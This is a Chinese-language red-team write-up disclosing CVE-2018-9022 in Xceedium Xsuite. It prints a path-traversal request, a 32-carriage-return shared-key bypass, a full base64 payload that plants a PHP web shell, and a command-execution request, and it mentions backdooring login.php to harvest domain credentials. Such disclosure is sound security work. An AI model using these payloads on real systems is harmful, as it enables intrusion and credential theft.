Xsuite远程代码执行漏洞:代码笔误导致获得域管理权限(CVE-2018-9022)
导语:不久之前,在参加红蓝对抗的过程中,我发现了一个远程代码执行漏洞并成功利用。对该漏洞的利用,使我们很快获得了对客户内部网络的较高权限访问。
概述
不久之前,在参加红蓝对抗的过程中,我发现了一个远程代码执行漏洞并成功利用。对该漏洞的利用,使我们很快获得了对客户内部网络的较高权限访问。这听上去似乎非常平常,但有趣的是,这个漏洞的根本原因是由于两个字符的笔误。相关漏洞描述可以在这里找到。
备注:其实,如果我添加一些额外的屏幕截图,这篇文章的漏洞展示效果将会更好,但是由于涉及到用户的信息,我倾向于不想冒险泄露有关客户的详情,还请各位读者理解。
进行枚举
在执行了一些基本的枚举之后,我找到了一个属于目标组织的子域名,该域名明显地标识出它是“由Xceedium Xsuite提供支持”(Powered by Xceedium Xsuite)。我在Google上进行了一些搜索,偶然发现Exploit-db上有一篇文章,其中介绍了Xsuite的几个漏洞,包括未经身份验证的命令注入、反射型XSS、任意文件读取和本地权限提升漏洞。要利用这些漏洞,看起来似乎很简单,对吧?
任意文件读取漏洞
遗憾的是,由于目标进行了安全配置,所以注入漏洞不起作用。权限提升漏洞则需要事先访问设备,由于我希望尽可能的避免用户交互,因此就排除了这个漏洞,XSS也是一样。因此,我们对任意文件读取漏洞进行漏洞利用尝试:
/opm/read_sessionlog.php?logFile=..//..//..//etc/passwd
当然,我们可以通过互联网访问的端口只有80和443。尽管可以从/etc/passwd中读取各种哈希值,但这些值对我们来说毫无用处:
Sshtel:ssC/xRTT<REDACTED>:300:99:sshtel:/tmp:/usr/bin/telnet Sftpftp:$1$7vs1J<REDACTED>:108:108:/home/sftpftp
在这时,我认为最好的方案就是找到主机的document_root,于是我开始下载源代码。随后,我便可以对源代码进行人工的代码审计,以便在Xceedium Xsuite中找到其他漏洞。在阅读了大量Apache配置文件之后,我终于找到了document_root:
/var/www/htdocs/uag/web/
到目前为止,我们只知道两个页面的位置:
/var/www/htdocs/uag/web/opm/read_sessionlog.php /var/www/htdocs/uag/web/login.php
我们借助任意文件读取漏洞,下载这两个文件的源代码,从而查找是否存在对其他任何PHP文件或配置文件的引用。这些其他文件,我们也同样可以下载。在执行这一过程时,尽管实际上我可以编写脚本来实现自动化执行,但由于后续我还要进行代码审计,因此我决定在审计的过程中手动检索源代码。与此同时,这也有助于我们限制到目标主机的请求数量,从而使攻击更具隐蔽性。
经过一整天的时候手动下载PHP文件和人工审计之后,我相信,我已经对应用程序的工作方式具有了足够的了解。除了本文中描述的远程代码执行漏洞之外,我还发现了其他的一些漏洞,例如任意文件读取、SQL注入等。但是由于我现在已经可以读取本地文件,并且似乎没有配置数据库,所以这些漏洞对于我目前来说都是没有用的。我唯一感兴趣的,就是远程代码执行。
代码执行初步尝试
需要关注的一个有趣函数是linkDB(),该函数逐行读取/var/uag/config/failover.cfg的内容,并将其传递给eval()函数。这意味着,如果我们以某种方式找到将PHP代码写入failover.cfg的方法,那么我们就可以调用linkDB()函数来在主机上执行远程代码。这非常有趣,但是我们目前还暂时无法控制failover.cfg或该文件的内容。
/var/www/htdocs/uag/functions/DB.php function linkDB($db, $dbtype='', $action = "die") { global $dbchoices, $sync_on, $members, $shared_key; if(!$dbchoices){ $dbchoices = array("mysql", "<REDACTED>", "<REDACTED>"); } //reads file into array & saves to $synccfg $synccfg = file("/var/uag/config/failover.cfg"); //iterates through contents of array foreach ($synccfg as $line) { $line = trim($line); $keyval = explode("=", $line); //saves contents to $cmd variable $cmd ="\$param_".$keyval[0]."=\"".$keyval[1]."\";"; //evaluates the contents of the $cmd variable eval($cmd); } … }
经过一段时间后,我找到了填充/var/uag/config/failover.cfg的函数。下面的代码已经经过略微的修改,以避免包含多行字符串解析。
/var/www/htdocs/uag/functions/activeActiveCmd.php function putConfigs($post) { … $file = "/var/uag/config/failover.cfg"; $post = unserialize(base64_decode($post)); <-- ignore this ;) … $err = saveconfig($file, $post); … }
总结一下,现在我们知道failover.cfg的内容将会被传递给eval(),这可能会导致代码执行。我们知道putConfigs()函数会接受一个参数,将其传递给base64_decode(),随后传递给unserialize(),然后将其保存到failover.cfg。现在,我们需要看看putConfigs()中使用的$post变量还在哪些位置使用过,并且需要考虑是否有可能控制该变量。
/var/www/htdocs/uag/functions/activeActiveCmd.php function activeActiveCmdExec($get) { … // process the requested command switch ($get["cmdtype"]) { … case "CHECKLIST": confirmCONF($get); break; case "PUTCONFS" : putConfigs($get["post"]); break; … }
因此,传递给putConfigs()的$get参数来自于最早传递给activeActiveCmdExec()函数的一个参数。
/var/www/htdocs/uag/functions/ajax_cmd.php if ($_GET["cmd"] == "ACTACT") { if (!isset($_GET['post'])) { $matches = array(); preg_match('/.*\&post\=(.*)\&?$/', $_SERVER['REQUEST_URI'], $matches); $_GET['post'] = $matches[1]; } activeActiveCmdExec($_GET); }
我们看到,activeActiveCmdExec()直接接受用户的输入。这意味着,我们可以直接控制activeActiveCmdExec()的输入,然后将其传递给putConfigs()、base64_decode()、unserialize(),最后保存到/var/uag/config/failover.cfg。我们现在可以创建一个序列化的Base64编码请求,将其保存到failover.cfg中,然后我们可以调用invokelinkDB(),它可以将包含我们的恶意代码的文件传递给eval()。至此,我们就已经实现了代码执行。
由于在这里将覆盖一个配置文件,一旦出现了任何错误,都有可能会破坏设备,从而导致我们客户的不满。即使不考虑设备的可用性,我们也只有一次机会来写入配置文件。因此,我决定谨慎行事,使用相关代码先在本地测试漏洞利用。经过几次尝试之后,我收到了“BAD SHARED KEY”。不幸的是,我在activeActiveCmdExec()函数的开头部分忽略了一些东西:
/var/www/htdocs/uag/functions/activeActiveCmd.php function activeActiveCmdExec($get) { // check provided shared key $logres = checkSharedKey($get["shared_key"]); if (!$logres) { echo "BAD SHARED KEY"; exit(0); } … }
该函数将检查有效的共享密钥是否通过$get变量传递。如果没有合法的密钥,我们将无法实现将代码写入failover.cfg文件所需的功能,我们也无法使用invokelinkDB()来评估代码,也无法在远程主机上执行代码。
读取共享密钥
在这一点上,我认为可能是时候回到最初全部的可能性上,并试图找到一种攻击主机的新思路。我隐约觉得,可能会将未经过处理的用户输入传递给unserialize()?幸运的是,由于我可以读取本地文件,因此共享密钥可以在源代码中进行硬编码,也可以保存在可读的配置文件中。然后,我们可以在请求中包含密钥,从而通过此检查。所以,我们首先查看checkSharedKey()函数,看看保存此共享密钥的位置。
/var/www/htdocs/uag/functions/activeActiveCmd.php function checkSharedKey($shared_key) { if (strlen($shared_key) != 32) { //1 return false; } if (trim($shared_key) == "") { //2 return flase; } if ($f = file("/var/uag/config/failover.cfg")) { foreach ($f as $row) { //3 $row = trim($row); if ($row == "") { continue; } $row_sp = preg_split("/=/", $row); if ($row_sp[0] == "SHARED_KEY") { if ($shared_key == $row_sp[1]) //4 return true; } } } else { return false; } }
该函数执行以下操作:
(1) 检查传递给它的密钥长度是否为32个字符;
(2) 检查传递给它的密钥是否为空字符;
(3) 逐行读取failover.cfg;
(4) 检查提供的共享密钥是否与failover.cfg中的共享密钥匹配。
因此,我们可以利用我们已经掌握的任意文件读取漏洞,从/var/uag/config/failover.cfg文件中提取共享密钥,并将其附加到我们得到请求之中,将经过序列化、Base64编码之后的PHP代码写入到failover.cfg之中,调用linkDB()来eval()我们的恶意代码,并在远程主机上执行代码。在阅读了failover.cfg的内容后,我发现其内容如下:
/var/uag/config/failover.cfg CLUSTER_MEMBERS= ACTIVE_IFACE= SHARED_KEY= STATUS= MY_INDEX= CLUSTER_STATUS= CLUSTER_IP= CLUSTER_NAT_IP= CLUSTER_FQDN=
该文件是空的。
我们无法窃取现有密钥从而通过身份验证检查,因为并没有配置密钥。遭遇了再一次的失败后,我将注意力转回checkSharedKey()功能。
分析checkSharedKey()函数
checkSharedKey()函数做的第一件事,就是检查提供的密钥是否为32个字符。这意味着,我们不能简单的传递一个空白密钥来通过检查。然而,经过一阵分析后,我发现了我以前忽略过的一个微妙问题。
/var/www/htdocs/uag/functions/activeActiveCmd.php function checkSharedKey($shared_key) { if (strlen($shared_key) != 32) { return false; } if (trim($shared_key) == "") { return flase; } … }
由于代码中出现了笔误,当提供长度为32个字符的共享密钥,但在调用trim()后为空时,该函数将返回“flase”。这意味着,返回的是文本字符串“flase”,而并不是布尔值“false”。幸运的是,字符串“flase”的布尔值为“true”,因此密钥检查将会成功,我们可以绕过权限检查。
回顾PHP官方手册中关于trim()的内容,我们发现有如下表述:
因此,理论上我们可以使用32个空格、制表符、换行符、回车符、空字节或垂直制表符来达到执行代码所需的必要代码路径。所有这些,都是源于有开发人员错误地输入了“false”这个单词。
测试
为了测试我们的理论,我们可以获取代码的相关部分,并编写一个使用与Xsuite代码相同逻辑的小脚本。
<?php //Take user input $shared_key = $_GET['shared_key']; //Echo user input echo "Input: " . $shared_key . "\n"; //Echo the string length (Hopefully 32) echo "shared_key Length: " . strlen($shared_key) . "\n"; //Pass the input to the checkSharedKey() function $logres = checkSharedKey($shared_key); //Echo out the raw returned value Echo "Raw Returned Value: "; var_dump($logres); //Echo the Boolean value of returned value Echo "Boolen returned Value: "; var_dump((bool) $logres); //Echo either “bad shared key” or “auth bypassed” accordingly if(!$logres) { echo "BAD SHARED KEY\n"; exit(0); } else { echo "Auth Bypassed"; } function checkSharedKey($shared_key) { if (strlen($shared_key) != 32) { return false; } if (trim($shared_key) == "") { return flase; } } ?>
然后,我测试了几个输入,并看看发生了什么:
正如我们所料,传递32个字符的随机字符串会返回布尔值FALSE,我们无法绕过检查。现在,尝试我们前面所提到的回车、空字节等字符:
正如预测的那样,由32个回车符、空字节等符号组成的字符串,将帮助我们绕过checkSharedKey()功能。现在,我们可以绕过权限检查,从而达到我们想要的代码路径。由于这一漏洞利用程序中包含许多步骤,并且可能会出现大量错误,因此我们决定再次使用相关代码在本地测试漏洞利用程序。
漏洞利用
经过一段时间的本地测试之后,我们改进了其中的一些漏洞利用步骤。
1. 借助$shared_key绕过,使用恶意代码修改failover.cfg。
ajax_cmd.php?cmd=ACTACT&cmdtype=PUTCONFS&shared_key=%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D&post=YTo2OntzOjExOiJyYWRpb19pZmFjZSI7czo1OiJpZmFjZSI7czoxNToiY2x1c3Rlcl9tZW1iZXJzIjthOjE6e2k6MDtzOjk6IjEyNy4wLjAuMSI7fXM6MTM6InR4X3NoYXJlZF9rZXkiO3M6MzI6IkFBQUFCQkJCQ0NDQ0RERFhYQUFBQkJCQkNDQ0NEREREIjtzOjY6InN0YXR1cyI7czozOiJPRkYiO3M6MTI6ImNsdXN0ZXJfZnFkbiI7czo1NToidGVzdC5kb21haW4iO2VjaG8gc2hlbGxfZXhlYyh1cmxkZWNvZGUoJF9QT1NUWydjJ10pKTsvLyI7czoxMDoiY2x1c3Rlcl9pcCI7czo5OiIxMjcuMC4wLjEiO30=
对上述post参数进行解码后,将会实现下列经过序列化的Payload:
a:6:{s:11:"radio_iface";s:5:"iface";s:15:"cluster_members";a:1:{i:0;s:9:"127.0.0.1";}s:13:"tx_shared_key";s:32:"AAAABBBBCCCCDDDXXAAABBBBCCCCDDDD";s:6:"status";s:3:"OFF";s:12:"cluster_fqdn";s:55:"test.domain";echo shell_exec(urldecode($_POST['c']));//";s:10:"cluster_ip";s:9:"127.0.0.1";}
它对应于表单的PHP对象:
$data = array(); $data['radio_iface'] = "iface"; $data['cluster_members'] = array("127.0.0.1"); $data['tx_shared_key'] = "AAAABBBBCCCCDDDXXAAABBBBCCCCDDDD"; $data['status'] = "OFF"; $data['cluster_fqdn'] = "test.domain";echo shell_exec(urldecode($_POST['c']));//";s:10:"cluster_ip";s:9:"127.0.0.1";}
2. 借助read_sessionlog.php中的任意文件读取漏洞,读取该文件,并验证配置文件是否已经成功被篡改。
3. 调用linkDB(),以eval() failover.cfg中的内容,并执行命令。
POST /ajax_cmd.php?cmd=get_applet_params&sess_id=1&host_id=1&task_id=1 c=whoami
总结
在第一次发现Xceedium设备存在时,我认为我们就已经找到了金子。显然,这是一个过时的设备,并且具有公开披露可以利用的远程代码执行漏洞。当然,事实情况并非这么简单,我们对其成功利用比原先预期花费了更多的时间和精力。
可能会有读者好奇,其他漏洞我们是如何利用的。在攻破设备之后,我们很快就发现了一种获取设备root访问权限的方法。由于Xceedium Xsuite(身份和访问管理)的性质,数百名用户每天都会借助它对设备进行身份验证。借助root访问权限,我们只需要在login.php中安插后门,就可以窃取到数百个域凭据。幸运的是,我们还捕获到了一些域或企业管理员的明文凭据。这使我们可以轻松地访问全球各个领域的内网。显然,我们红方团队的目标并不是获得域管理员,但这显然很有帮助。
在一开始我就提到,我很抱歉本文中没有提供更多的屏幕截图,来展现这个实际的攻击。因为我不想冒着暴露客户隐私的风险。此外,在漏洞发现后,我原本不打算披露,在第一时间提交给了厂商。但是,Xceedium(现在的CA Technologies)并没有接收并积极处理这一漏洞,因此我们将其披露,并希望提醒用户注意防范此类风险。
发表评论